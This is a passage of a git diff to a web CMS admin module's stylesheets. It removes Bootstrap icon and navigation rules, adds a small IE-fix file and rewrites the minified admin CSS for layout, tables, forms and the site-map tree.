-.icon-indent-left{background-position:-384px -48px} -.icon-indent-right{background-position:-408px -48px} -.icon-facetime-video{background-position:-432px -48px} -.icon-picture{background-position:-456px -48px} -.icon-pencil{background-position:0 -72px} -.icon-map-marker{background-position:-24px -72px} -.icon-adjust{background-position:-48px -72px} -.icon-tint{background-position:-72px -72px} -.icon-edit{background-position:-96px -72px} -.icon-share{background-position:-120px -72px} -.icon-check{background-position:-144px -72px} -.icon-move{background-position:-168px -72px} -.icon-step-backward{background-position:-192px -72px} -.icon-fast-backward{background-position:-216px -72px} -.icon-backward{background-position:-240px -72px} -.icon-play{background-position:-264px -72px} -.icon-pause{background-position:-288px -72px} -.icon-stop{background-position:-312px -72px} -.icon-forward{background-position:-336px -72px} -.icon-fast-forward{background-position:-360px -72px} -.icon-step-forward{background-position:-384px -72px} -.icon-eject{background-position:-408px -72px} -.icon-chevron-left{background-position:-432px -72px} -.icon-chevron-right{background-position:-456px -72px} -.icon-plus-sign{background-position:0 -96px} -.icon-minus-sign{background-position:-24px -96px} -.icon-remove-sign{background-position:-48px -96px} -.icon-ok-sign{background-position:-72px -96px} -.icon-question-sign{background-position:-96px -96px} -.icon-info-sign{background-position:-120px -96px} -.icon-screenshot{background-position:-144px -96px} -.icon-remove-circle{background-position:-168px -96px} -.icon-ok-circle{background-position:-192px -96px} -.icon-ban-circle{background-position:-216px -96px} -.icon-arrow-left{background-position:-240px -96px} -.icon-arrow-right{background-position:-264px -96px} -.icon-arrow-up{background-position:-289px -96px} -.icon-arrow-down{background-position:-312px -96px} -.icon-share-alt{background-position:-336px -96px} -.icon-resize-full{background-position:-360px -96px} -.icon-resize-small{background-position:-384px -96px} -.icon-plus{background-position:-408px -96px} -.icon-minus{background-position:-433px -96px} -.icon-asterisk{background-position:-456px -96px} -.icon-exclamation-sign{background-position:0 -120px} -.icon-gift{background-position:-24px -120px} -.icon-leaf{background-position:-48px -120px} -.icon-fire{background-position:-72px -120px} -.icon-eye-open{background-position:-96px -120px} -.icon-eye-close{background-position:-120px -120px} -.icon-warning-sign{background-position:-144px -120px} -.icon-plane{background-position:-168px -120px} -.icon-calendar{background-position:-192px -120px} -.icon-random{background-position:-216px -120px} -.icon-comment{background-position:-240px -120px} -.icon-magnet{background-position:-264px -120px} -.icon-chevron-up{background-position:-288px -120px} -.icon-chevron-down{background-position:-313px -119px} -.icon-retweet{background-position:-336px -120px} -.icon-shopping-cart{background-position:-360px -120px} -.icon-folder-close{background-position:-384px -120px} -.icon-folder-open{background-position:-408px -120px} -.icon-resize-vertical{background-position:-432px -119px} -.icon-resize-horizontal{background-position:-456px -118px} -.icon-hdd{background-position:0 -144px} -.icon-bullhorn{background-position:-24px -144px} -.icon-bell{background-position:-48px -144px} -.icon-certificate{background-position:-72px -144px} -.icon-thumbs-up{background-position:-96px -144px} -.icon-thumbs-down{background-position:-120px -144px} -.icon-hand-right{background-position:-144px -144px} -.icon-hand-left{background-position:-168px -144px} -.icon-hand-up{background-position:-192px -144px} -.icon-hand-down{background-position:-216px -144px} -.icon-circle-arrow-right{background-position:-240px -144px} -.icon-circle-arrow-left{background-position:-264px -144px} -.icon-circle-arrow-up{background-position:-288px -144px} -.icon-circle-arrow-down{background-position:-312px -144px} -.icon-globe{background-position:-336px -144px} -.icon-wrench{background-position:-360px -144px} -.icon-tasks{background-position:-384px -144px} -.icon-filter{background-position:-408px -144px} -.icon-briefcase{background-position:-432px -144px} -.icon-fullscreen{background-position:-456px -144px} -/* Bootstrap - Nav */ -.nav{margin-bottom:18px;margin-left:0;list-style:none} -.nav > li > a{display:block} -.nav > li > a:hover{text-decoration:none;background-color:#eeeeee} -.nav > .pull-right{float:right} -.nav .nav-header{display:block;padding:3px 15px;font-weight:bold;line-height:18px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);text-transform:uppercase} -.nav li + .nav-header{margin-top:9px} -.nav-list{padding-right:15px;padding-left:15px;margin-bottom:0} -.nav-list > li > a, -.nav-list .nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5)} -.nav-list > li > a{padding:3px 15px} -.nav-list > .active > a, -.nav-list > .active > a:hover{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.2);background-color:#0088cc} -.nav-list [class^="icon-"]{margin-right:2px} -.nav-list .divider{*width:100%;height:1px;margin:8px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff} -.nav-tabs, -.nav-pills{ *zoom:1} -.nav-tabs:before, -.nav-pills:before, -.nav-tabs:after, -.nav-pills:after{display:table;content:""} -.nav-tabs:after, -.nav-pills:after{clear:both} -.nav-tabs > li, -.nav-pills > li{float:left} -.nav-tabs > li > a, -.nav-pills > li > a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px} -.nav-tabs{border-bottom:1px solid #ddd} -.nav-tabs > li{margin-bottom:-1px} -.nav-tabs > li > a{padding-top:8px;padding-bottom:8px;line-height:18px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0} -.nav-tabs > li > a:hover{border-color:#eeeeee #eeeeee #dddddd} -.nav-tabs > .active > a, -.nav-tabs > .active > a:hover{color:#555555;cursor:default;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent} -.nav-pills > li > a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px} -.nav-pills > .active > a, -.nav-pills > .active > a:hover{color:#ffffff;background-color:#0088cc} -.nav-stacked > li{float:none} -.nav-stacked > li > a{margin-right:0} -.nav-tabs.nav-stacked{border-bottom:0} -.nav-tabs.nav-stacked > li > a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} -.nav-tabs.nav-stacked > li:first-child > a{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0} -.nav-tabs.nav-stacked > li:last-child > a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px} -.nav-tabs.nav-stacked > li > a:hover{z-index:2;border-color:#ddd} -.nav-pills.nav-stacked > li > a{margin-bottom:3px} -.nav-pills.nav-stacked > li:last-child > a{margin-bottom:1px} -.nav-tabs .dropdown-menu{-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px} -.nav-pills .dropdown-menu{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} -.nav-tabs .dropdown-toggle .caret, -.nav-pills .dropdown-toggle .caret{margin-top:6px;border-top-color:#0088cc;border-bottom-color:#0088cc} -.nav-tabs .dropdown-toggle:hover .caret, -.nav-pills .dropdown-toggle:hover .caret{border-top-color:#005580;border-bottom-color:#005580} -.nav-tabs .active .dropdown-toggle .caret, -.nav-pills .active .dropdown-toggle .caret{border-top-color:#333333;border-bottom-color:#333333} -.nav > .dropdown.active > a:hover{color:#000000;cursor:pointer} -.nav-tabs .open .dropdown-toggle, -.nav-pills .open .dropdown-toggle, -.nav > li.dropdown.open.active > a:hover{color:#ffffff;background-color:#999999;border-color:#999999} -.nav li.dropdown.open .caret, -.nav li.dropdown.open.active .caret, -.nav li.dropdown.open a:hover .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;opacity:1;filter:alpha(opacity=100)} -/* Bootstrap - Miscellaneous */ -.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #eee;border:1px solid rgba(0, 0, 0, 0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05)} -.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15)} -.well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} -.well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.modalBlur{position:absolute;top:0;right:0;border:0;background:none;padding:0;width:1px;height:1px;overflow:hidden} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin.iefix.css b/modules/admin/tpl/css/admin.iefix.css new file mode 100644 index 000000000..0b5d6cb2b --- /dev/null +++ b/modules/admin/tpl/css/admin.iefix.css @@ -0,0 +1 @@ +#g11n .item textarea{height:40px} diff --git a/modules/admin/tpl/css/admin.min.css b/modules/admin/tpl/css/admin.min.css index 4bb3d70bb..fd3018a0f 100644 --- a/modules/admin/tpl/css/admin.min.css +++ b/modules/admin/tpl/css/admin.min.css @@ -1,11 +1 @@ -@charset "utf-8";header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{display:block}.x,.x table,.x input,.x textarea,.x select,.x button{font-size:13px;color:#333}.x button,.x input[type=submit],.x input[type=reset],.x input[type=button]{cursor:pointer;overflow:visible}.x img{border:0}.x p{line-height:1.5}.x .section{margin:1em 0;padding:0;border:0}.x .h2,.x .h3,.x .h4{position:relative;border-style:solid;border-top:0;border-right:0;zoom:1;padding-left:8px}.x .h1{background:#444;border-radius:4px;color:#fff;margin:0 0 1em 0;font-size:16px;padding:0 15px;line-height:36px}.x .h2{border-width:3px;font-size:20px;border-color:#888}.x .h3{border-width:2px;font-size:16px;border-color:#aaa}.x .h4{border-width:1px;font-size:12px;border-color:#ccc}.x .h1+ul,.x .h2+ul,.x .h3+ul,.x .h4+ul,.x .h1+.table table,.x .h2+.table table,.x .h3+.table table,.x .h4+.table table{border-top:0!important;margin-top:-1em!important}.x .portlet{position:relative;border:1px solid #e9e9e9;margin:1em 0;padding:0;background:#fff;zoom:1;overflow:hidden;border-radius:5px}.x .portlet h2,.x .portlet h3{margin:0;padding:.5em 1em;font-size:14px;border:1px solid #fff;border-bottom:1px solid #e9e9e9;background:#f7f7f7;border-radius:5px 5px 0 0}.x .portlet p{margin:1em 1.2em}.x .portlet li{position:relative;padding-right:8em}.x .portlet .lined{margin:1px!important;padding:0;list-style:none}.x .portlet .lined li{padding:.5em 8em .5em 1em;border-top:1px solid #eee;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;-o-text-overflow:ellipsis}.x .portlet .lined li:first-child{border:0}.x .portlet .side{position:absolute;top:0;_top:1px;right:0;color:#666;background:#fff;padding:0 1em}.x .portlet .lined .side{padding:.5em 1em}.x .portlet .more{position:absolute;top:.5em;right:1em;text-decoration:none!important;color:#666}.x .portlet .more span{color:#999}.x .portlet .action{text-align:right;top:0;right:0;padding:.5em 1em .5em 3em;background:#fff;background:-webkit-gradient(linear,0% 0,100% 0,from(rgba(255,255,255,0)),to(rgba(255,255,255,1)),color-stop(15%,#fff));background:-moz-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,1) 15%)}.x .portlet .action a,.x .portlet .action button{margin-left:1em}.x .portlet .btnArea{border-top:1px solid #ddd;margin:0;padding:.5em 1em;margin:0 1px 1px 1px;background:#f7f7f7;border-radius:0 0 5px 5px}.x .table{margin:1em 0}.x .table table{width:100%;border:0;border-collapse:collapse;border-top:2px solid #ccc}.x .table caption{font-weight:bold;text-align:left;line-height:22px;padding:5px 0}.x .table caption:after{content:"";display:block;clear:both}.x .table caption a{font-weight:normal}.x .table caption em{float:right;margin-left:1em}.x .table caption strong{color:#e00}.x .table caption .side{float:right;font-weight:normal;margin-left:1em}.x .table th,.x .table td{border:0;padding:8px;vertical-align:top;text-align:left;border-bottom:1px solid #ddd}.x .table th{background:#f8f8f8}.x .table thead th{border-bottom:1px solid #999}.x .table tfoot td{font-weight:bold;background:#f8f8f8}.x .table.even tbody tr:nth-of-type(even){background-color:#fafafa}.x .table tbody tr:hover{background:#ffd!important}.x .table td>input[type=text]{margin:-1px 0!important;vertical-align:middle}.x .table img{vertical-align:middle}.x .table em{font-style:normal;font-weight:normal;color:#e00}.x .table th.nowr,.x .table td.nowr{white-space:nowrap}.x .form{margin:0 0 1em 0;padding:0}.x .form fieldset{margin:0 0 2em 0;padding:0;border:0}.x .form.search fieldset{border:1px solid #ccc;padding:5px 15px;border-radius:3px}.x .form em{font-style:normal;color:#e00}.x .form label{line-height:1;vertical-align:middle}.x .form input[type=radio]+label,.x .form input[type=checkbox]+label{margin-right:1em}.x .form input[type=checkbox]+label,.x .form input[type=radio]+label,.x .form input[type=file]{cursor:pointer}.x .form ul{position:relative;margin:1em 0;padding:0;list-style:none;border-top:2px solid #ccc;border-bottom:1px solid #ccc;zoom:1}.x .form li{list-style:none;border:1px solid #ddd;border-left:0;border-right:0;margin:-1px 0;padding:8px 0;vertical-align:top;zoom:1}.x .form li:hover{background:#ffd}.x .form li:first-child{border-top:0}.x .form li>label:first-child{display:block;font-weight:bold}.x .form li label em{font-weight:normal}.x .form label.overlap{position:absolute;color:#aaa}.x .form input[type=text],.x .form input[type=password],.x .form input[type=file],.x .form select[size],.x .form textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent}.x .form input[type=text],.x .form input[type=password],.x .form input[type=file]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px}.x .form input[type=text].loading,.x .form input.loading[type=password]{padding-right:24px;width:260px;background:transparent url(../img/preLoader16.gif) no-repeat 265px center}.x .form input[type=checkbox],.x .form input[type=radio]{margin:0;padding:0;width:13px;height:13px;vertical-align:middle}.x .form input[type=text][disabled=disabled],.x .form input[type=password][disabled=disabled],.x .form input[type=radio][disabled=disabled],.x .form input[type=checkbox][disabled=disabled],.x .form select[disabled=disabled],.x .form textarea[disabled=disabled]{background:#ddd;text-shadow:1px 1px 0 #fff}.x .form textarea{padding:3px 4px;vertical-align:top;resize:both}.x .form span.desc,.x .form em.desc{line-height:22px;vertical-align:middle;margin:0 10px}.x .form p.desc{margin:.25em 0;line-height:1.4}.x .form .q{font-weight:bold;margin:0 0 5px 0}.x .form .a{margin:0 0 5px 0}.x .form .tgForm{margin-right:1em}.x .gnb{height:34px;clear:both;border:1px solid #c1c1c1;border-left:0;border-right:0;background-color:#efefef;background:#efefef -webkit-gradient(linear,0% 0,0% 100%,from(#efefef),to(#dcdcdc));background:#efefef -moz-linear-gradient(top,#efefef,#dcdcdc);filter:progid:DXImageTransform.Microsoft.gradient(startColorStr=#efefef,endColorStr=#dcdcdc);zoom:1}.x .gnb:after{content:"";display:block;clear:both}.x .gnb .nav-gnb{float:left;position:relative;display:inline-block;*display:inline;zoom:1;margin:0 0 0 20px;padding:1px;list-style:none}.x .gnb .nav-gnb ul{_position:absolute;display:block;_display:inline;zoom:1;clear:both;margin:0;padding:0;border:0;overflow:hidden;height:0}.x .gnb.active .nav-gnb{top:-5px;padding:5px 5px 5px 0;margin:0 0 -100% 20px;border:1px solid #aaa;background:#fff;box-shadow:0 0 10px #999;border-radius:5px}.x .gnb.active .nav-gnb ul{top:0;_position:relative;box-shadow:none;display:block;_display:inline;clear:both;padding:0;margin:0;border:0}.x .gnb .nav-gnb:after{content:"";display:block;clear:both}.x .gnb .nav-gnb li{position:relative;display:inline-block;*display:inline;zoom:1;vertical-align:top;overflow:hidden;margin:0}.x .gnb .nav-gnb li.activeOn{z-index:10}.x .gnb .nav-gnb li.activeOn>a{border:1px solid #ccc}.x .gnb .nav-gnb li li{display:block;_float:left;clear:both;overflow:hidden;border:0;margin:0}.x .gnb .nav-gnb li li:first-child{border:0}.x .gnb .nav-gnb li a{display:block;_float:left;font-weight:bold;color:#333;font-size:12px;height:14px;padding:9px 0;white-space:nowrap;text-decoration:none;text-shadow:0 1px 0 #fff;zoom:1}.x .gnb .nav-gnb li a span{padding:0 15px;border-left:1px solid #fff}.x .gnb.active .nav-gnb li a span,.x .gnb .nav-gnb li:first-child a span,.x .gnb .nav-gnb li.activeOn+li a span{border:0;margin:0 0 0 1px}.x .gnb .nav-gnb li a:hover,.x .gnb .nav-gnb li a:active,.x .gnb .nav-gnb li a:focus{background:#f4f4f4}.x .gnb .nav-gnb li.activeOn>a{background:#fff;padding:8px 0}.x .gnb .nav-gnb li li a{color:#555;background:#fff;padding:5px 15px!important;font-weight:normal!important;border:0!important}.x .gnb .nav-gnb li li a:hover,.x .gnb .nav-gnb li li a:active,.x .gnb .nav-gnb li li a:focus{border:0;background:#eee}.x .gnb .mnv{width:100%;height:32px;display:none}@media all and (max-width:860px){.x .gnb{height:auto}.x .gnb .nav-gnb,.x .sct{display:none}.x .gnb .mnv{display:block}}.x .lnb{position:relative;float:left;width:210px;left:-230px;margin:0 0 20px 0;line-height:normal;zoom:1;display:inline}.x .lnb .h2{position:relative;z-index:2;margin:0 0 -1px 0;padding:0 10px;border:1px solid #444;border-bottom:0;border-radius:4px 4px 0 0;background:#555;font-size:13px;color:#fff;line-height:36px}.x .lnb ul{margin:0!important;padding:0;list-style:none;position:relative;z-index:1}.x .lnb li{position:relative;margin:0 0 -1px 0;vertical-align:top;zoom:1}.x .lnb li a{display:block;position:relative;padding:8px 10px;text-decoration:none;color:#666;font-weight:bold;background:#fafafa;border:1px solid #eee;zoom:1}.x .lnb li a .i{position:absolute;top:50%;left:100%;margin:-4px 0 0 -16px;width:8px;height:8px;color:#ccc;background:url(../img/iconNavVr.gif) no-repeat left top}.x .lnb li ul{padding:5px 0;background:#fff}.x .lnb li li{margin:0;border-top:1px dotted #ddd}.x .lnb li li:first-child{border:0}.x .lnb li li a{font-weight:normal;background:#fff;padding:5px 10px;border:0}.x .lnb li li a span{color:#666}.x .lnb li.active{border:1px solid #ccc;z-index:2}.x .lnb li li.active{border:0}.x .lnb li.active a{color:#000;border:0}.x .lnb li.active .i{background-position:0 -44px}.x .lnb li.active li a{border:0}.x .lnb li.active ul{display:block;border-top:1px solid #eee}.x .lnb li.active li.active a span{color:#13b200;font-weight:bold;letter-spacing:-1px}.x .lnb li:last-child a,.x .lnb li.active:last-child{border-radius:0 0 4px 4px!important}.x .sct{float:left;width:210px;position:relative;left:-230px;margin:0;padding:8px 0;border:0;box-shadow:inset 0 0 1px rgba(0,0,0,0.5)}.x .sct h2{margin:0 0 5px 10px;font-size:13px}.x .sct ul{margin:0;font-size:12px}.x .sct li{position:relative}.x .sct a{text-decoration:none;padding:3px 18px 3px 10px}.x .sct form{position:absolute;margin:0;padding:0;top:2px;right:-10px}.x .sct .text{text-decoration:none;font-weight:bold;color:#999!important;width:16px;height:16px;margin:0}.x .sct .text:hover,.x .sct .text:active,.x .sct .text:focus{color:#333!important}.x .cnb{margin:1em 0;position:relative;zoom:1}.x .cnb:after{content:"";display:block;clear:both}.x .cnb ul{list-style:none;margin:0;padding:0}.x .cnb li{display:inline}.x .cnb li:before{content:"| ";color:#ccc}.x .cnb li:first-child:before{content:""}.x .cnb .active,.x .cnb .active a{font-weight:bold;color:#333;text-decoration:none}.x .cnb .side{float:right}.x .pagination{margin:1em 0;text-align:center;line-height:normal}.x .pagination *{vertical-align:middle}.x .pagination a,.x .pagination strong{position:relative;display:inline-block;padding:2px 4px;font-weight:bold;text-decoration:none;line-height:normal;color:#333!important;vertical-align:middle}.x .pagination a:hover,.x .pagination a:active,.x .pagination a:focus{border:1px solid #ddd;margin:0 -1px}.x .pagination strong{color:#e00!important;font-size:20px}.x .pagination .direction{font-weight:normal;white-space:nowrap}.x .pagination .direction:hover,.x .pagination .direction:active,.x .pagination .direction:focus{border:0;margin:0;text-decoration:underline}.x .pagination input{width:30px;text-align:center}.x .pagination button{overflow:visible}.x .starRating,.x .starRating span{display:inline-block;height:14px;background:transparent url(../img/iconStarRating.gif) no-repeat;overflow:hidden}.x .starRating{width:79px;vertical-align:top}.x .starRating span{font-size:0;line-height:0;vertical-align:top;text-indent:-100px;*text-indent:0;background-position:0 -14px}.x .prgrs{white-space:nowrap;line-height:normal;vertical-align:middle}.x .prgrs *{vertical-align:middle}.x .prgrs .pBar{position:relative;display:inline-block;background:#e9e9e9;margin:0 5px 0 0}.x .prgrs .pAction{display:inline-block;vertical-align:top;background:#99a6b6}.x .prgrs .pNum{position:absolute;width:100%;left:0;top:0;text-align:center;text-shadow:1px 1px 0 #fff}.x .prgrs.prgrsSmall{font-size:14px;line-height:14px}.x .prgrs.prgrsSmall .pBar,.x .prgrs.prgrsSmall .pAction,.x .prgrs.prgrsSmall .pNum{height:16px;line-height:16px;font-size:11px}.x .prgrs.prgrsMedium{font-size:24px;line-height:24px}.x .prgrs.prgrsMedium .pBar,.x .prgrs.prgrsMedium .pAction,.x .prgrs.prgrsMedium .pNum{height:22px;line-height:22px;font-size:12px}.x .prgrs.prgrsLarge{font-size:38px;line-height:38px}.x .prgrs.prgrsLarge .pBar,.x .prgrs.prgrsLarge .pAction,.x .prgrs.prgrsLarge .pNum{height:34px;line-height:34px;font-size:14px}.modal{position:absolute;top:0;left:0;width:100%;_height:100%;min-height:100%;z-index:99}.modal .bg{position:absolute;background:#000;_background:0;width:100%;height:100%;opacity:.5;z-index:2;filter:alpha(opacity=50);zoom:1}.modal .fg{position:relative;width:80%;margin:5em auto;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:3;zoom:1;border-radius:5px;box-shadow:0 0 6px #000}.modal ul,.modal ol,.modal .lined,.modal .table{margin-bottom:1em}.modal .ie6{position:absolute;left:0;top:0;width:100%;height:100%;border:0;opacity:0;filter:alpha(opacity=0);z-index:1}.modalClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px}.modalBlur{position:absolute;top:0;right:0;border:0;background:0;padding:0;width:1px;height:1px;overflow:hidden}html.modalContainer,body.modalContainer{_height:100%;_width:100%}.x .layer,.x.layer{position:absolute;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:2;zoom:1;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 6px #666;filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999,direction=135,strength=5)}.x .layer h2{font-size:14px}.x .layer ul,.x .layer ol,.x .layer .lined,.x .layer .table{margin-bottom:1em}.x .layerClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px}.x .layerBlur{position:absolute;top:0;right:0;border:0;background:0;padding:0;width:1px;height:1px;overflow:hidden}.x .h2Anchor{position:absolute;right:0;border:0;background:0;color:#00f;text-decoration:underline}.x .skipNav{margin:0;text-align:center}@media all and (max-width:860px){.x .skipNav{display:none}}.x .skipNav a{position:absolute;width:1px;height:1px;display:block;padding:10px 0;font-weight:bold;overflow:hidden}.x .skipNav a:hover,.x .skipNav a:active,.x .skipNav a:focus{position:relative;width:auto;height:auto}.x .header{position:relative;z-index:2;padding:30px 0 0 0;background:#4c4c4c;box-shadow:0 0 10px #aaa;zoom:1;border-radius:5px 5px 0 0}.x .header:after{content:"";display:block;clear:both}.x .header a{text-decoration:none}.x .header h1{margin:0 0 10px 20px;font-size:24px;line-height:32px;display:inline-block;*display:inline;zoom:1;vertical-align:middle}.x .header h1 *{vertical-align:middle}.x .header h1 a{display:inline-block;color:#fff;text-shadow:1px 1px 0 #000;filter:progid:DXImageTransform.Microsoft.dropshadow(OffX=1,OffY=1,Color=#000000,Positive=true);zoom:1}.x .header h1 .url{font-size:12px;font-weight:normal}.x .header .site{margin:0 0 10px 20px;display:inline-block;*display:inline;zoom:1}.x .header .site a{color:#fff;text-decoration:underline}.x .header #moveSiteList{padding:10px 1em 5px 1em;margin:0}.x .header #moveSiteList ul{list-style:none;margin:0;padding:0}.x .header #moveSiteList li{white-space:nowrap;margin:0;padding:4px 0;border-bottom:1px dotted #ccc}.x .header #siteMapList{padding:0 1em 1em 1em;margin:0}.x .header #siteMapList li{white-space:nowrap}.x .header .account{position:absolute;z-index:3;width:100%;top:0;right:0;white-space:nowrap;text-align:right;background:#333;border-bottom:1px solid #656565;color:#fff;font-size:12px;border-radius:5px 5px 0 0}.x .header .account ul{margin:0;padding:5px 20px 5px 0;list-style:none}.x .header .account li{position:relative;display:inline;border-left:1px solid #666;padding:0 6px 0 10px}.x .header .account li:first-child{border:0}.x .header .account a{color:#fff;display:inline-block;height:14px}.x .header .account a.language{padding-right:16px;background:url(../img/iconArrow.gif) no-repeat right -160px}.x .header #language{position:absolute;top:19px;right:-20px;padding:6px 4px!important;border:1px solid #666;border-top:0;background:#333}@media all and (max-width:860px){.x .header #language{right:-10px}}.x .header #language li{border:0;display:block;padding:1px 8px 1px 10px;text-align:left;line-height:1}.x .header #language li.selected{background:url(../img/iconCheck.gif) no-repeat left center}.x .header #language li.selected a{text-decoration:underline}.x .header h1 a:hover,.x .header h1 a:active,.x .header h1 a:focus,.x .header .account a:hover,.x .header .account a:active,.x .header .account a:focus{color:#6e9cf2;text-decoration:underline}.x .footer{border-top:1px solid #ddd;text-align:center;font-size:12px;padding:1.5em 0;zoom:1}.x .footer *{font-size:12px}.x .footer:after{content:"";display:block;clear:both}.x .footer p{margin:0}.x .footer .power{float:left}.x .footer .cache{float:right}.x .footer .vr{color:#ccc}.x .body{position:relative;z-index:1;padding:30px 10px 30px 240px;zoom:1}.x .body:after{content:"";display:block;clear:both}.x .content{float:right;width:100%;margin-left:-210px;zoom:1;outline:0;min-height:500px}.x .content:after{content:"";display:block;clear:both}.x .content a{color:#33a}.x .content a:hover,.x .content a:active,.x .content a:focus{color:#a33}.x .content .portlet a{text-decoration:none}.x .content .portlet a:hover,.x .content .portlet a:active,.x .content .portlet a:focus{text-decoration:underline}.x .dashboard .section{margin-top:0}.x .dashboard .portlet{float:left;width:48%;margin-right:1em;margin-top:0;min-height:188px}.x .dashboard .portlet:nth-of-type(odd){float:left;width:49%;margin-right:0}.x .dashboard .portlet:nth-of-type(even){float:right;width:49%;margin-right:0}@media all and (min-width:1300px){.x .dashboard .portlet{float:left!important;width:32%!important;margin-right:1em!important}}.x .search{zoom:1}.x .search:after{content:"";display:block;clear:both}.x .search .pagination{float:left;text-align:left}.x .search form{float:right;margin:1em 0}.x .search form *{vertical-align:middle}.x .siteMap h2 input{font-size:14px;font-weight:bold;padding:3px 4px;margin:0;border:0;background:transparent}.x .siteMap h2:hover input,.x .siteMap h2 input:focus{background:#ff0;border:1px dashed #ccc;margin:-1px}.x .siteMap label{cursor:text}.x .siteMap .lined ul{padding:0;margin:0;border-top:1px solid #eee;zoom:1}.x .siteMap .lined li{position:relative;padding:0;margin:0;cursor:all-scroll;list-style:none;zoom:1}.x .siteMap .lined li li{border-top:1px solid #eee}.x .siteMap li li{text-indent:18px}.x .siteMap li li li{text-indent:36px}.x .siteMap li li li li{text-indent:54px}.x .siteMap li li li li li{text-indent:72px}.x .siteMap li li li li li li{text-indent:90px}.x .siteMap li li li li li li li{text-indent:108px}.x .siteMap li li li li li li li li{text-indent:126px}.x .siteMap li li li li li li li li li{text-indent:144px}.x .siteMap li li li li li li li li li li{text-indent:162px}.x .siteMap li li li li li li li li li li li{text-indent:180px}.x .siteMap li li li li li li li li li li li li{text-indent:198px}.x .siteMap li *{vertical-align:middle}.x .siteMap li .moveTo+input{width:200px;border:0;padding:0 .5em}.x .siteMap li .moveTo+input:hover,.x .siteMap li .moveTo+input:active,.x .siteMap li .moveTo+input:focus{border:1px dotted #ccc;overflow:visible}.x .siteMap .moveTo{position:relative;z-index:2;width:22px;height:32px;padding:32px 0 0 0;margin:0 3px;_margin-top:-1px;overflow:hidden;background:#fff url(../img/iconMoveTo.gif) no-repeat center 0;border:0;cursor:move}.x .siteMap li.active,.x .siteMap li.active .moveTo{background-color:#f7f7f7}.x .siteMap li.active li,.x .siteMap li.active ul{border-top-color:#f7f7f7}.x .siteMap li.active .moveTo{background-position:center -32px}.x .siteMap .vr,.x .siteMap .hr{display:none;position:absolute;z-index:1;left:14px;border:0 solid #ccc;overflow:hidden}.x .siteMap .vr{top:-16px;height:100%;border-left-width:1px}.x .siteMap .hr{top:16px;width:16px;border-top-width:1px}.x .siteMap li.active .vr,.x .siteMap li.active li .hr{display:block}.x .siteMap li li .vr,.x .siteMap li li li .hr{left:32px}.x .siteMap li li li .vr,.x .siteMap li li li li .hr{left:50px}.x .siteMap li li li li .vr,.x .siteMap li li li li li .hr{left:68px}.x .siteMap li li li li li .vr,.x .siteMap li li li li li li .hr{left:86px}.x .siteMap li li li li li li .vr,.x .siteMap li li li li li li li .hr{left:104px}.x .siteMap li li li li li li li .vr,.x .siteMap li li li li li li li li .hr{left:122px}.x .siteMap li li li li li li li li .vr,.x .siteMap li li li li li li li li li .hr{left:140px}.x .siteMap li li li li li li li li li .vr,.x .siteMap li li li li li li li li li li .hr{left:158px}.x .siteMap li li li li li li li li li li .vr,.x .siteMap li li li li li li li li li li li .hr{left:176px}.x .siteMap li li li li li li li li li li li .vr,.x .siteMap li li li li li li li li li li li li .hr{left:336px}.x .siteMap .side{padding-top:0!important;padding-bottom:0!important;line-height:30px;background:transparent!important}.x .siteMap .side button{text-indent:0;line-height:1}.x .siteMap .tgMap{position:absolute;top:12px;right:1em;padding:0 16px 0 0;line-height:16px;background:url(../img/iconArrow.gif) no-repeat right -126px}.x .siteMap.fold .tgMap{background-position:right -158px}.x .siteMap.fold .h2{border-bottom-color:#fff;border-radius:5px}.x .siteMap .placeholder{background:#bbb}.x .siteMap .draggable,.x .siteMap .draggable .moveTo{background-color:#ddd}.x .siteMap .draggable .summary{border-left:1px solid #ccc;padding-left:10px;margin-left:10px;font-size:11px;color:#999}.x .siteMap a.ms{text-decoration:underline}.x 